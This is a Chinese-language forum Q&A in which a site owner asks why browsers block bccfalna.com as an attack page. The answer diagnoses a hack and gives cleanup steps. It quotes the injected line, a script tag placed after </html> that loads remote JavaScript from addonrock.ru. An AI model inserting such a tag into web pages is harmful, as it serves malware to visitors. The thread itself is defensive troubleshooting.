报告的攻击页面：如何解决此问题

Question

我的网站bccfalna.com在 2 天前工作正常，但现在它无法在 Firefox/chrome 和其他浏览器中打开并出现以下错误消息

报告攻击页面！

此网页 www.bccfalna.com 已被报告为攻击页面，并已根据您的安全偏好被阻止。

那么，如何解决这个安全问题，请帮我解决它....

Answer 1

您的网站已被 Google 安全浏览列入黑名单。它集成在 Firefox、Safari 和 Chrome（不是 Internet Explorer）中。

首先检查 Google Safe Browsing 在诊断页面上对您的域的描述：

Malicious software is hosted on 1 domain(s), including addonrock.ru/

所以，在某个地方，您有一个指向该域的链接。实际上，在所有页面上，您都会在代码末尾的 </html> 标记之后找到它：

<script type="text/javascript" src="http://addonrock.ru/Java.js"></script>

您的 Web 应用程序已被黑客入侵！如果您使用的是开源应用程序，请检查您是否正在运行最新版本（同时检查插件）。可能存在已知漏洞。

下面是接下来要做的事情：

1. 了解您的网站是如何被黑客入侵的：应用程序中的已知漏洞、托管服务提供商的问题、代码中的漏洞（远程文件包含等）等。
2. 堵住漏洞：升级您的应用程序，修复您自己的代码等。
3. 检查所有文件和数据库中是否有任何恶意代码
4. 恢复安全备份

如果您确定攻击者没有留下任何后门，步骤 4 就可以了。当然，您永远无法 100% 确定.... 如果您有足够的时间和金钱，请使用新服务器来托管您的网站。